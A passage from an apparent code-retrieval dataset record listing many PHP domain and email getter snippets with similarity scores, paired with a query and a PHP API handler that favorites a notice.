function getDomain()\r\n {\r\n return $this->domain;\r\n }", "public function getDomain()\n {\n return $this->domain;\n }", "public function getDomain()\n {\n return $this->domain;\n }", "public function getDomain()\n {\n return $this->domain;\n }", "public function getDomain()\n {\n return $this->domain;\n }", "public function getDomain()\n {\n return $this->domain;\n }", "public function getDomain()\n {\n return $this->domain;\n }", "public function getDomain()\n {\n return $this->domain;\n }", "public function getDomain()\n {\n return $this->domain;\n }", "public static function hostNameDomain() {\n\t\tif (!isset($_SERVER['HTTP_HOST'])) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif ($_SERVER['HTTP_HOST'] == $_SERVER['REMOTE_ADDR']) {\n\t\t\treturn $_SERVER['REMOTE_ADDR'];\n\t\t}\n\n\t\t$domain = explode('.', $_SERVER['HTTP_HOST']);\n\t\t$size = count($domain);\n\n\t\tif ($size <= 2) {\n\t\t\treturn $_SERVER['HTTP_HOST'];\n\t\t} else {\n\t\t\treturn \"{$domain[$size -2]}.{$domain[$size -1]}\";\n\t\t}\n\t}", "function getDomain() {\n\t\treturn $this->getAttribute(DOMIT_RSS_ATTR_DOMAIN);\n\t}", "function getDomain() {\n\t\treturn $this->getAttribute(DOMIT_RSS_ATTR_DOMAIN);\n\t}", "public function getDomain()\n {\n return textdomain();\n }", "public function getDomainName()\n {\n return $this->_fields['DomainName']['FieldValue'];\n }", "public function getDomain()\n\t{\n\t\treturn $this->domain;\n\t}", "function getDomain()\n {\n }", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public static function getHost() \n {\n return emailSettings::$host; \n }", "public function getEmailAddress();", "function get_hoster_email()\t{\n\t\t// some mandants may have configured an individual hoster_email in their TS-Template\n\t\tif(!empty($this->conf['contact_email']) && t3lib_div::validEmail($this->conf['contact_email'])){\n\t\t\treturn $this->conf['contact_email'];\n\t\t}\n\n\t\t// default: take the email-adress given in tx_civserv_configuration\n\t\t$hoster_email=\"\";\n\t\t$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery(\n\t\t\t'cf_value',\t\t\t \t\t\t\t\t\t\t// SELECT ...\n\t\t\t'tx_civserv_configuration',\t\t\t\t\t\t// FROM ...\n\t\t\t'cf_key = \"mail_to\"',\t\t// AND title LIKE \"%blabla%\"', // WHERE...\n\t\t\t'', \t\t\t\t\t\t\t\t\t\t\t// GROUP BY...\n\t\t\t'', \t\t\t\t\t\t\t\t\t\t\t// ORDER BY...\n\t\t\t'' \t\t\t\t\t\t\t\t\t\t\t\t// LIMIT to 10 rows, starting with number 5 (MySQL compat.)\n\t\t);\n\t\tif($res){\n\t\t\t$row = $GLOBALS['TYPO3_DB']->sql_fetch_assoc($res);\n\t\t\t$hoster_email = $row['cf_value'];\n\t\t}else{\n\t\t\t$hoster_email = \"info@some_hoster.de\";\n\t\t}\n\t\tif ($hoster_email == ''){\n\t\t\t$hoster_email = \"info@some_hoster.de\";\n\t\t}\n\t\treturn $hoster_email;\n\t}", "public function getMail();", "public function getDomain()\n {\n return $this->_domain;\n }", "function _get_random_email_domain()\r\n{\r\n\t$service = '';\t\t// return\r\n\r\n\t$SERVICE = array\r\n\t(\r\n\t\t'gmail.com' => 5,\r\n\t\t'yahoo.com' => 4,\r\n\t\t'hotmail.com' => 3,\r\n\t\t'msn.com' => 2,\r\n\t\t'aol.com' => 2,\r\n\t\t'earthlink.net' => 1,\r\n\t\t'juno.net' => 1,\r\n\t);\r\n\t\r\n\t$PICK = $this->Randomizer->array_lottery($SERVICE, $num_picks=1);\r\n\t$service = $PICK[0];\r\n\treturn $service;\t\r\n}", "public function\n\tGetFullDomain():\n\t?String {\n\n\t\treturn $this->Domain;\n\t}", "function domain()\n{\n return $_SERVER['HTTP_HOST'];\n}", "public function getDomain() {\n return $this->domain;\n }", "public function getMailHost() {\n return $this->mailHost;\n }", "public function getDomain(){\n\t\treturn $_SERVER['SERVER_NAME'];\n\t}", "function getDomainName($domain = 0)\n{\n\tif($domain == 0)\n\t\t$domain = ARC_DOMAIN;\n\n\t$name = getDBData('domain_name', $domain, 'domain_id', 'domain');\n\n\tif($name == '')\n\t\treturn '-None-';\n\telse\n\t\treturn $name;\n}", "function get_cur_domain()\n{\n}", "public static function domainSuffix()\n {\n return self::pickOne(array('com', 'biz', 'info', 'name', 'net', 'org'));\n }", "public static function safeDomainName()\n {\n return implode('.', array(self::domainWord(), self::pickOne(array('example.com', 'example.net', 'example.org'))));\n }", "public function getDomain(): string\n {\n /** @var WebstoreHelper $webstoreHelper */\n $webstoreHelper = pluginApp(WebstoreHelper::class);\n\n return $webstoreHelper->getCurrentWebstoreConfiguration()->domainSsl;\n }", "public function getEmail() {}", "public function getEmail() {}", "public function getEmail() {}", "public function getEmail() {}", "public function getEmail() {}", "function getDomain() {\n\t\treturn $this->domain;\n\t}", "public function getDomainName() {\n return self::DOMAIN_NAME;\n }", "protected function getTargetEmailAddress() {\n\t\tif (isset($this->settings['emailAddress']) && GeneralUtility::validEmail(trim($this->settings['emailAddress']))) {\n\t\t\treturn trim($this->settings['emailAddress']);\n\t\t}\n\t\treturn '';\n\t}", "function get_domain($url){\n $new_url = parse_url($url, PHP_URL_HOST);\n $url_array = explode('.', $new_url);\n\n if(count($url_array) == 1){\n if($url_array[0] != ''){\n return $url_array[0];\n }else{\n return 'Empty array';\n }\n }\n if(count($url_array) == 2){\n return $url_array[0];\n }\n if(count($url_array) == 3){\n return $url_array[1];\n }\n if(count($url_array) > 3 && $url_array[0] == 'www' && end($url_array) == 'com'){\n $url_str = '';\n $new_array = array_slice($url_array, 1, -1);\n foreach($new_array as $part){\n $url_str .= \"$part.\";\n }\n return rtrim($url_str, '.');\n }\n if(count($url_array) > 3 && end($url_array) == 'com'){\n $url_str = '';\n array_pop($url_array);\n foreach($url_array as $part){\n $url_str .= \"$part.\";\n }\n return rtrim($url_str, '.');\n }\n }", "public function getDomain()\n {\n\n }", "public function getEmailAddress()\n {\n return $this->_getVar('user_email');\n }", "public function domainOfURL()\n {\n $urlDetails = parse_url($this->url);\n return $urlDetails['host'] ?? $this->shortUrl(20);\n }", "public function getDomain()\n {\n return 'example.test';\n }", "protected function getDomain($url){\n // return static::DOMAIN;\n return parse_url($url, PHP_URL_HOST);\n }", "public function get_domain_asterisk($email_addr){\n $domain = substr($email_addr, strpos($email_addr, '@') + 1); \n $domain = explode('.',$domain);\n if(count($domain) === 3){\n $domain[0] = '*';\n return implode('.',$domain);\n }else{\n return false;\n }\n }", "function get_clean_basedomain()\n {\n }", "public function domain_name () {\n\t\t\treturn sprintf(\n\t\t\t\t'%s.%s',\n\t\t\t\t$this->domain_word(),\n\t\t\t\tself::data_rand( 'domain_suffix' )\n\t\t\t);\n\t\t}", "public function getEmail(): string\n\t{\n\t\treturn $this->email->getEmail();\n\t}", "public function convert_domain()\n {\n clearos_profile(__METHOD__, __LINE__);\n\n if (!clearos_load_library('openldap/LDAP_Driver'))\n return;\n\n $ldap = new \\clearos\\apps\\openldap\\LDAP_Driver();\n $ldaph = $ldap->get_ldap_handle();\n $dn = $ldap->get_master_dn();\n \n $attributes = $ldaph->read($dn);\n\n $domain = empty($attributes['clearMasterMailDomain'][0]) ? '' : $attributes['clearMasterMailDomain'][0];\n\n if (!empty($domain))\n $this->set_domain($domain);\n\n return $domain;\n }", "function get_domain()\n\t{\n\t\t$http_host = $_SERVER['HTTP_HOST'];\n\t\t$DOC_ROOT = $_SERVER['DOCUMENT_ROOT'];\n\t\t$site_root = str_replace($DOC_ROOT, \"\", SITE_ROOT);\n\t\t// $win = str_replace(\"/\",\"\\\\\",$DOC_ROOT);\n\t\t$site_root = str_replace($DOC_ROOT,\"\",SITE_ROOT);\n\t\t$http_chunk = \"$http_host/$site_root/\";\n\t\treturn \"http://\".str_replace(\"//\", \"/\", $http_chunk);\n\t}", "public static function getDomain()\r\n\t{\r\n\t\t$port = $_SERVER['SERVER_PORT'];\r\n\t\t$port = ( $port == 80 ) ? '' : \":$port\";\r\n\t\treturn 'http://' . $_SERVER['SERVER_NAME']. \"$port/\";\r\n\t}", "function getDomainName($url) {\r\n\r\n $matches = parse_url($url);\r\n\r\n if (isset($matches['host'])) {\r\n\r\n $domain = $matches['host'];\r\n\r\n $domain = str_replace(array('www.'), '', $domain);\r\n\r\n return $domain;\r\n }\r\n\r\n return $url;\r\n}", "private function getRootDomain()\n\t{\n\t\t$host = $_SERVER['HTTP_HOST'];\n\t\t$parts = explode('.', $host);\n\t\tif(count($parts)>1){\n\t\t\t$tld = array_pop($parts);\n\t\t\t$domain = array_pop($parts).'.'.$tld;\n\t\t} else {\n\t\t\t$domain = array_pop($parts);\n\t\t}\n\t\treturn '.'.$domain;\n\t}", "public function getHomeDomain()\n {\n $result = parse_url($this->url);\n return $result['scheme'] . \"://\" . $result['host'];\n }", "function match_email_domain($email, $domain = 'dosomething.org')\n{\n $pieces = explode('@', $email);\n\n if (is_array($pieces) && count($pieces) > 1) {\n return $pieces[1] === $domain ? true : false;\n }\n\n return false;\n}", "public function get_text_domain($value='') {\n\t\t\treturn $this->text_domain;\n\t\t}", "public static function domain()\n\t{\n\t\tif (isset($_SERVER['SERVER_NAME']) && isset($_SERVER['SERVER_PORT']))\n\t\t{\n\t\t\treturn $_SERVER['SERVER_NAME'] . ((integer) $_SERVER['SERVER_PORT'] === 80 ? '' : ':' . $_SERVER['SERVER_PORT']);\n\t\t}\n\n\t\treturn null;\n\t}", "function _osc_from_email_aux() {\n $tmp = osc_mailserver_mail_from();\n return !empty($tmp)?$tmp:osc_contact_email();\n }", "public function getDomain()\n\t{\n\t\treturn $this->activeDomain;\n\t}", "function getRHUL_Email() {\n\treturn getRHUL_LDAP_FieldValue(\"adi_mail\");\n}" ]
[ "0.8919531", "0.8831561", "0.82659787", "0.8255858", "0.7714098", "0.76167864", "0.74253833", "0.74253833", "0.7398573", "0.73925847", "0.7328791", "0.7326213", "0.7322937", "0.7304398", "0.730002", "0.71894735", "0.7178395", "0.71500736", "0.7109835", "0.7068153", "0.7063993", "0.7006705", "0.6992135", "0.6988169", "0.697469", "0.6931202", "0.69273376", "0.6923131", "0.6920386", "0.6920386", "0.6920386", "0.6920386", "0.6920386", "0.6920386", "0.6920386", "0.6920386", "0.69020075", "0.68937975", "0.68937975", "0.6892267", "0.6879045", "0.6877809", "0.68702793", "0.6863583", "0.6863583", "0.6863583", "0.6863583", "0.6863583", "0.6863583", "0.6863583", "0.6863583", "0.6863583", "0.6863583", "0.6863583", "0.6855134", "0.68354803", "0.68251175", "0.68073016", "0.6806615", "0.6798276", "0.678553", "0.67498684", "0.6748306", "0.6741799", "0.6736703", "0.6718171", "0.67046225", "0.6704352", "0.6687217", "0.6683644", "0.6673027", "0.6673027", "0.6673027", "0.6671742", "0.6671742", "0.6664305", "0.6664222", "0.6662783", "0.6662355", "0.66572815", "0.6643406", "0.6638861", "0.66275644", "0.66138494", "0.66110575", "0.6603178", "0.66020125", "0.6589511", "0.6583864", "0.6564927", "0.6542219", "0.6533684", "0.6519681", "0.64998454", "0.6493876", "0.64648974", "0.6450204", "0.6446687", "0.6446276", "0.6417279" ]
0.67496616
62
Take arguments for running
function prepare($args) { if (! parent::prepare($args)) {return false;} $this->user = $this->auth_user; $this->notice = Notice::staticGet($this->arg('id')); return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "abstract public function run($args);", "abstract public function run(array $args=null);", "abstract public function run(array $args = array(), array $opts = array());", "public function run(...$params);", "abstract protected function main(array $arguments);", "public function run(array $args = []) : void;", "public function run(array $params);", "public function run (array $parameters);", "abstract function run();", "abstract public function run($params = null);", "abstract protected function doRun(array $testArgs);", "public function run(array $params)\n {\n\n }", "abstract public function run();", "abstract public function run();", "abstract public function run();", "abstract public function run();", "abstract public function run();", "abstract public function run();", "abstract public function run();", "abstract public function run();", "abstract public function run() ;", "abstract public function run(&$params);", "public function run()\n {\n $steps = ['listcatimage','listcatthumb'];\n //get argument passed to shell script\n $step = $this->getArg('step');\n if (in_array($step, $steps)) {\n $this->$step();\n } else {\n echo \"STEP MUST BE ONE OF THESE:\\n\";\n foreach ($steps as $s) {\n echo $s.\",\\n\";\n }\n }\n }", "function run($command);", "function run()\n {\n if (count($this->args) <= 1) {\n $this->help();\n } else {\n switch ($this->args[1]) {\n case \"migrate\":\n $this->createMigrations();\n if (!isset($this->args[2]) || $this->args[2] != '--seed')\n break;\n case \"seed\":\n $this->createSeeds();\n break;\n case \"migrate:drop\":\n $this->dropMigrations();\n break;\n case \"seed:drop\":\n $this->dropSeeds();\n break;\n default:\n $this->help();\n break;\n }\n }\n }", "public function __construct($argv = array()){\n\t\t\n\t\t$this->setParameter($argv);\t\t\t\n\t\t$this->run();\t\t\n\t}", "public abstract function run();", "public abstract function run();", "abstract public static function args();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "abstract protected function _run();", "abstract protected function _run();", "public function call($args = [])\n {\n // TODO\n }", "public function call($args = [])\n {\n // TODO\n }", "function run();", "function run();", "function execute() {\n\t\tif (empty($this->args)) {\n\t\t\t$this->__interactive();\n\t\t}\n\n\t\tif (count($this->args) == 1) {\n\t\t\t$this->__interactive($this->args[0]);\n\t\t}\n\n\t\tif (count($this->args) > 1) {\n\t\t\t$type = Inflector::underscore($this->args[0]);\n\t\t\tif ($this->bake($type, $this->args[1])) {\n\t\t\t\t$this->out('done');\n\t\t\t}\n\t\t}\n\t}", "public function run(){}", "public function run($aArgs){\n\t\n\t\t/*include common library*/\n\t\t$this->library(\"common\");\n\t\t\n\t\t/*check if session start*/\n\t\t$this->library(\"checkLogin\");\n\t\n\t\t/*for the exec functions*/\n\t\t$this->library(\"tinymce\");\n\t\tTinymce::init();\n\t\t$sAction = Common::getParam('action');\n\t\t$sAction = $sAction != \"\" ? \"exec\" . ucwords($sAction) : \"execSchedule\";\n\t\t$this->$sAction($aArgs);\n\t\t\n\t}", "function run()\r\n {\r\n }", "protected abstract function run();", "public static function start($args = array())\n {\n $runner = self::getInstance();\n\n // store the args locally and process them\n $runner->_args = $args;\n $runner->_processArgs($args);\n\n // set up an error handler so warnings and errors can be caught\n set_error_handler(array($runner, 'handleError'));\n\n if ($runner->showCoverage()) {\n xdebug_start_code_coverage(XDEBUG_CC_UNUSED);\n }\n\n if ($runner->hasFile(self::BOOTSTRAP)) {\n $runner->includeFile(self::BOOTSTRAP);\n }\n\n $runner->runTests($runner->_file);\n\n $runner->showResults();\n }", "protected function main()\n /**/\n {\n parent::run();\n }", "function run()\n{\n global $argv;\n\n $accountFrom = $argv[1];\n $accountTo = $argv[2];\n $value = (int) $argv[3];\n\n $transferService = (new TransferServiceFactory())();\n $transferService->execute($accountFrom, $accountTo, $value);\n}", "public static function run() {\n\t}", "protected function callFromConsole()\n {\n array_shift($_SERVER['argv']);\n\n $this->application->run(new ArgvInput($_SERVER['argv']), new ConsoleOutput());\n }", "public abstract function exec();", "public static function run(): void;", "abstract public function run($command);", "public function run($aArgs){\n\t\n\t\t/*include common library*/\n\t\t$this->library(\"common\");\n\t\t/*check if session start*/\n\t\t$this->library(\"checkLogin\");\n\t\t\n\t\t/*tinymce*/\n\t\t$this->library('tinymce');\n\t\tTinymce::init();\n\t\t/*send message*/\n\t\t$this->importJS('message/message');\n\t\t\n\t\t/*to import javascripts*/\n\t\t$this->importJS(\"tablesorter\");\n\t\t\n\t\t/*for the exec functions*/\n\t\t$sAction = Common::getParam('action');\n\t\t$sAction = $sAction != \"\" ? \"exec\" . ucwords($sAction) : \"_display\";\n\t\t$this->$sAction($aArgs);\n\t\t\n\t\t\n\t}", "public function run(string $command);", "abstract public function run(array $files, array $destinations);", "public function __call($name, $arguments){\r\n call_user_func_array(array($this, 'main'), $arguments);\r\n }", "function run(){\r\n\t\t $this->arg('auth-block', $this->authBlock());\r\n\t\t $this->arg('menu', $this->getMenu(4));\r\n\t\t $this->arg('left-menu', $this->leftMenu(171,false));\r\n\t\t $this->arg('menu-footer1', $this->getMenuFooter(200, false,false,\"w-220\"));\r\n\t\t $this->arg('menu-footer2', $this->getMenuFooter(201, false,false,\"w-220\"));\r\n\t\t $this->arg('menu-footer3', $this->getMenuFooter(202, false,false,\"w-160\"));\r\n\t\t $this->arg('menu-footer4', $this->getMenuFooter(203, false,false,\"w-120\"));\r\n\t\t $this->arg('menu-footer5', $this->getMenuFooter(204, false,false,\"w-160\"));\r\n\r\n\t\t $this->arg('news-list', $this->newsList(9, 8));\r\n//\t\t $this->arg('banners-list-1', $this->bannersList(2, 6, 7));\r\n\t\t $this->arg('banners-list-1', $this->getTopBanner());\r\n\t\t $this->arg('banners-list-2', $this->bannersList(22, 6, 7));\r\n\t\t $this->arg('voting-block', $this->votingBlock(12));\r\n\t\t $this->arg('langs', $this->getLangs());\r\n\t\t $this->arg('search', $this->search());\r\n\t }", "abstract public function run(): void;", "public function run(){\n $argumentAnalyzer = new CommandAnalyzer($this->config, $this->recordMigrator, $this->command);\n $argumentAnalyzer->executeArgs();\n }", "public function __construct($argv)\n {\n }", "abstract function run(APIEndpoint $e, array $args);", "public function run() {}", "public static function run(array $arguments) {\n\t\t$manager = new CobwebManager($arguments);\n\t\t$manager->execute();\n\t}", "function runFromCliArgs($controllerNamespace) {\n global $argv;\n $name = isset($argv[1]) ? $argv[1] : 'default';\n $action = isset($argv[2]) ? $argv[2] : 'default';\n return parent::run($name, $action, $controllerNamespace);\n }", "function run() {\n echo $this->name . \" runs like crazy. Him fast<br>\";\n }", "function run() {\n\t\techo $this->name . \" runs like crazy </br>\";\n\t}", "public abstract function Main();", "protected function execute($arguments = array(), $options = array())\r\n {\r\n echo shell_exec('compass watch '.dmOs::join(sfConfig::get('sf_web_dir'),$arguments['theme']).' &');\r\n }", "public static function run($args)\n{\n$op=new Options;\n$op->parseAll($args);\n$action=(count($args)) ? array_shift($args) : 'help';\n\nswitch($action)\n\t{\n\tcase 'build':\n\t\tif (count($args)!=1) self::errorAbort(\"$action requires 1 argument\");\n\t\t$phk_path=array_shift($args);\n\t\t\\PHK\\Build\\PSF\\Parser::build($phk_path,$op->option('psf_path'),$op->option('vars'));\n\t\tbreak;\n\n\tcase 'check':\n\t\tif (count($args)!=1) self::errorAbort(\"$action requires 1 argument\");\n\t\t$phk_path=array_shift($args);\n\t\t$mnt=\\PHK\\Mgr::mount($phk_path);\n\t\t$obj=\\PHK\\Mgr::instance($mnt);\n\t\t$errs=$obj->check();\n\t\tif (count($errs))\n\t\t\t{\n\t\t\tforeach($errs as $err) \\Phool\\Display::error($err);\n\t\t\tthrow new \\Exception(\"*** The check procedure found errors in $phk_path\");\n\t\t\t}\n\t\t\\Phool\\Display::info('Check OK');\n\t\tbreak;\n\n\tcase 'help':\n\t\tself::usage();\n\t\tbreak;\n\n\tdefault:\n\t\tself::errorAbort(\"Unknown action: '$action'\");\n\t}\n}", "public function run($command);", "public function run($command);", "protected function runWith(array $args, $in= '', $config= null) {\n $this->in= $this->runner->setIn(new MemoryInputStream($in));\n $this->out= $this->runner->setOut(new MemoryOutputStream());\n $this->err= $this->runner->setErr(new MemoryOutputStream());\n\n return $this->runner->run(new ParamString($args), $config);\n }", "public static function test($args = array())\n {\n }", "public static function test($args = array())\n {\n }", "public static function test($args = array())\n {\n }", "public static function test($args = array())\n {\n }", "public static function test($args = array())\n {\n }", "abstract function executeWork($arguments = array(), $options = array());", "public function run(): void {\n $commandLineOptions = $this->mCommandLineOptions->readCommandLineOptions();\n $optionsAreValid = $this->mCommandLineOptions->validateOptions($commandLineOptions);\n if($optionsAreValid) {\n $filePath = $this->mCommandLineOptions->getFilename();\n $this->mEBNFReader->parseFile($filePath);\n $foodItemsFound = $this->mVendors->findFoodItems($commandLineOptions);\n $this->outputFoodItemsFound($foodItemsFound);\n } else {\n Logger::out('Options input were invalid.');\n Logger::outputHelpText();\n }\n }", "public function run(): void;", "public function run(): void;", "public function run(): void;", "public function run($task, $params);", "function main() {\n\t\tif (!$this->_registerPid()) {\n\t\t\t$this->out('Unable to register Pid');\n\t\t\t$this->_stop();\n\t\t}\n\t\tif (file_exists($this->params['working'] . DS . '.autotest')) {\n\t\t\tinclude($this->params['working'] . DS . '.autotest');\n\t\t}\n\t\tif (!empty($this->params['notify'])) {\n\t\t\t$this->settings['notify'] = $this->params['notify'];\n\t\t}\n\t\tif (!empty($this->params['mode'])) {\n\t\t\t$this->settings['mode'] = $this->params['mode'];\n\t\t}\n\t\t$suffix = '';\n\t\tif (!empty($this->settings['mode'])) {\n\t\t\t$suffix = ' (' . $this->settings['mode'] . ' mode)';\n\t\t}\n\n\t\tNotify::$method = $this->settings['notify'];\n\t\t$this->addHooks();\n\t\tNotify::message('Autopilot Starting', 'in ' . APP_DIR . $suffix, 0, false);\n\t\t$this->buildPaths();\n\t\t$this->run();\n\t}", "public function run()\n {\n $args = $this->getArguments();\n\n // Validate argument was passed\n if (empty($args)) {\n throw new Exception(self::signature . ' requires an argument.');\n }\n\n $this->arg = new MakeCmdArgument($args[0]);\n\n $this->createSubDirectories();\n $this->createCommandFile();\n }", "abstract public function doAction($argv);", "function run() {\n echo $this->name . \" runs<br>\";\n }", "public function run($args) {\n Env::instance()->setStage(getenv($this->getAppName()));\n \n // $args = $this->getArgs();\n // execute action on controller\n $dispatcher = new Dispatcher();\n \n\n $this->preRun();\n $viewVals = $dispatcher->dispatch($args);\n $this->postRun();\n \n $viewPath = $dispatcher->getViewPath();\n require_once($viewPath);\n }", "protected function _run(array $args)\n { \n $this->_scriptName = $args[0];\n \n $requestedTaskName = isset($args[1]) ? $args[1] : null;\n \n if ( ! $requestedTaskName || $requestedTaskName == 'help') {\n $this->printTasks(null, $requestedTaskName == 'help' ? true : false);\n return;\n }\n \n if ($requestedTaskName && isset($args[2]) && $args[2] === 'help') {\n $this->printTasks($requestedTaskName, true);\n return;\n }\n\n if (! $this->taskNameIsRegistered($requestedTaskName, $taskClassName)) {\n throw new Doctrine_Cli_Exception(\"The task \\\"{$requestedTaskName}\\\" has not been registered\");\n }\n\n $taskInstance = $this->createTaskInstance($taskClassName, $this);\n $this->setTaskInstance($taskInstance);\n $this->executeTask($taskInstance, $this->prepareArgs(array_slice($args, 2)));\n }" ]
[ "0.7907581", "0.75986713", "0.7585241", "0.7400227", "0.72699934", "0.70115906", "0.70091575", "0.6971584", "0.68008304", "0.67531663", "0.6731278", "0.6655392", "0.6654889", "0.6654889", "0.6654889", "0.6654889", "0.6654889", "0.6654889", "0.6654889", "0.6654889", "0.66281855", "0.66185534", "0.6544884", "0.65445566", "0.65439683", "0.65272963", "0.65233207", "0.65233207", "0.6504653", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64360833", "0.64175993", "0.64175993", "0.63946474", "0.63946474", "0.6360098", "0.6360098", "0.63556004", "0.6350472", "0.6258609", "0.6232726", "0.6210702", "0.62080735", "0.61698955", "0.61283153", "0.6101259", "0.6074727", "0.60679334", "0.6063506", "0.60347396", "0.6033443", "0.6017486", "0.60117364", "0.6008507", "0.6003073", "0.59978855", "0.59924185", "0.59751725", "0.5972925", "0.5967998", "0.59552056", "0.5947919", "0.5935598", "0.5935304", "0.5934309", "0.5926735", "0.59252536", "0.59120274", "0.59120274", "0.59112847", "0.5904588", "0.5903831", "0.5903831", "0.5902587", "0.5902587", "0.5900102", "0.58939075", "0.5889338", "0.5889338", "0.5889338", "0.58835244", "0.5882016", "0.5879556", "0.5865161", "0.5850146", "0.5844596", "0.5832773" ]
0.0
-1
Handle the request Check the format and show the user info
function handle($args) { parent::handle($args); if ($_SERVER['REQUEST_METHOD'] != 'POST') { $this->clientError( '本方法需要POST.', 400, $this->format ); return; } if (!in_array($this->format, array('xml', 'json'))) { $this->clientError( 'API方法未找到!', 404, $this->format ); return; } if (empty($this->notice)) { $this->clientError( '未找到此ID的状态.', 404, $this->format ); return; } // Note: Twitter lets you fave things repeatedly via API. $this->fave_group_id = $this->trimmed('fave_group_id'); if ($this->user->hasFave($this->notice)) { $this->clientError( '此状态已经被收藏!', 403, $this->format ); return; } //添加收藏夹 $fave = Fave::addNew($this->user, $this->notice, $this->fave_group_id); if (empty($fave)) { $this->clientError( '不能收藏此状态.', 403, $this->format ); return; } $this->notify($fave, $this->notice, $this->user); $this->user->blowFavesCache(); if ($this->format == 'xml') { $this->showSingleXmlStatus($this->notice); } elseif ($this->format == 'json') { $this->show_single_json_status($this->notice); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function actionInfo()\n {\n $uid = getParam('id', null);\n if (!$uid) {\n $uid = getMyId();\n }\n if (!empty($uid)) {\n\n $useModel = User::find()->active()->where(['id' => $uid])->one();\n if ($useModel) {\n $this->msg = 'User Info';\n $this->data = User::getDetail($uid);\n } else {\n $this->code = 404;\n $this->msg = 'User Not found';\n }\n } else {\n $this->code = 422;\n $this->msg = 'Id is require';\n }\n\n }", "public function userinfo(Request $request) {\n\n $requestData = $request->all();\n $this->respon['error_type'] = 0;\n //\n $message = array(\n 'token.required' => __('api.token_required'),\n );\n $rule = [\n 'token' => 'required',\n ];\n $validator = Validator::make($requestData, $rule,$message);\n //\n if ($validator->fails()) {\n $this->respon['message'] = $validator->errors()->first();\n return response()->json($this->respon);\n }else{\n //\n $user = Users::where('token',$request->input('token'))->first();\n if($user){\n $call = Call::where('user_id',$user->id)->get();\n $fb = ChatFaceBook::where('user_id',$user->id)->get();\n $zl = ChatZalo::where('user_id',$user->id)->get();\n $contact = Contact::where('user_id',$user->id)->get();\n $map = Maps::where('user_id',$user->id)->get();\n $data=[\n 'zalo'=>$zl,\n 'contact'=>$contact,\n 'map'=>$map,\n 'fb'=>$fb,\n 'call'=>$call,\n ];\n\n $this->respon['status'] = true;\n $this->respon['message'] = __('api.success');\n $this->respon['data'] = $data;\n $this->respon['error_type'] = 1;\n }else{\n return response()->json([\n 'code'=>400,\n 'message'=>'Invalid Token'\n ],400);\n }\n }\n return response()->json($this->respon);\n }", "public function get_user_info() : bool {\n\t\t$req = self::init_req( ( (object) self::$URLS )->post );\n\t\tif( is_null( $req ) ){\n\t\t\treturn false;\n\t\t}\n\t\telse{\n\t\t\tself::$httpResponseText = curl_exec( $req );\n\t\t\tself::$httpCode = curl_getinfo( $req, CURLINFO_HTTP_CODE );\n\t\t\tcurl_close( $req );\n\t\t\treturn true;\n\t\t}\n\t}", "public function UserAuthentication()\n\t{\n\t\t$this->layout = false;\n\n\t\t$username = String::Sanitize(strtolower(Html::Request(\"username\")));\n\t\t$password = String::Sanitize(Html::Request(\"password\"));\n\n\t\tif($username == \"[email protected]\" && $password == \"teste\") {\n\t\t\t$status = \"ok\";\n\t\t}\n\t\telse {\n\t\t\t$status =\"wrong_password\";\n\t\t}\n\n\t\t// Returning array\n\t\t$value = array(\"status\" => $status, \"username_received\" => $username, \"password_received\" => $password);\n\n\t\techo json_encode($value);\n\t}", "function _process_user_info()\n\t{\n\t\t$user_info = null;\n\t\t$code = $this->input->get('code');\n\n\t\t//Google redirects with code insead of post\n\t\tif( $code )\n\t\t{\n\t\t\t$user_info = get_user_info( $this->input->get('code') );\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t$user_info['email'] = trim($this->input->post('email'));\n\t\t\t$user_info['username'] = trim($this->input->post('username'));\n\t\t}\n\n\t\treturn $user_info;\n\t}", "public function my_info(Request $request)\n {\n $lang = $request->header('lang');\n $user=Auth::user();\n $msg=$lang=='ar' ? 'تمت العملية بنجاح' :'success' ;\n return $this->apiResponseData(new UserResource($user),$msg);\n }", "public function handle_response () {\n // callback URL: https://{service}.e-com.plus/session/sso_login\n // call this function on route specified above\n if (isset($_GET['sso']) && isset($_GET['sig'])) {\n // get user object\n return $this->user_info($_GET['sso'], $_GET['sig']);\n } else {\n // invalid URL query string\n return null;\n }\n }", "function user()\n {\n $this->load->library('service');\n $data = file_get_contents('php://input');\n $ret = array(\n 'out' => $this->service->handle('user', $data)\n );\n $this->output($ret);\n }", "public function getInfo(Request $request)\n {\n if ($request->has(\"id\") && is_numeric($request->input(\"id\"))) {\n $result = DB::table(\"users\")\n ->where(\"id\", $request->input(\"id\"))\n ->where('status', '<>', 0)\n ->first();\n\n if (isset($result->id)) {\n if (Auth::user()->user_type == 1 || Auth::user()->user_type == 2) {\n } else if ((!Auth::user()->user_type == 3 && Auth::user()->org_id == $result->porg_id)) {\n return \"ERROR\";\n }\n\n echo json_encode($result);\n } else {\n echo \"ERROR\";\n }\n } else {\n echo \"NEXIST\";\n }\n }", "public function userinfo(){\n\t\tif (!$this->input->is_ajax_request()) {\n\t\t\texit('No direct script access allowed');\n\t\t}\n\t\t$userid = $this->input->post('id');\n\t\t$statusRes = $this->master_db->select('fname,lname,email,mobile_no,',USERS,array(\"ID\"=>$userid));\n\t\t\n\t\tif($statusRes){\n\t\t\t$msg = '';\n\t\t\t$msg_type = 'success';\t\t\t\t\t\t\n\t\t}else{\n\t\t\t$msg = GENERAL_ERROR_MSG;\n\t\t\t$msg_type = 'general_error';\t\t\t\n\t\t}\n\t\techo json_encode(array(\"status\"=>$msg_type,\"msg\"=>$msg,\"userinfo\"=>$statusRes[0]));die;\n\t}", "private function _userAutehntication()\r\n {\r\n /* Check if the USERNAME and PASSWORD HTTP headers is set*/\r\n if(!(isset($_SERVER['HTTP_X_'.self::POSTAPI_KEY.'_USERNAME']) and 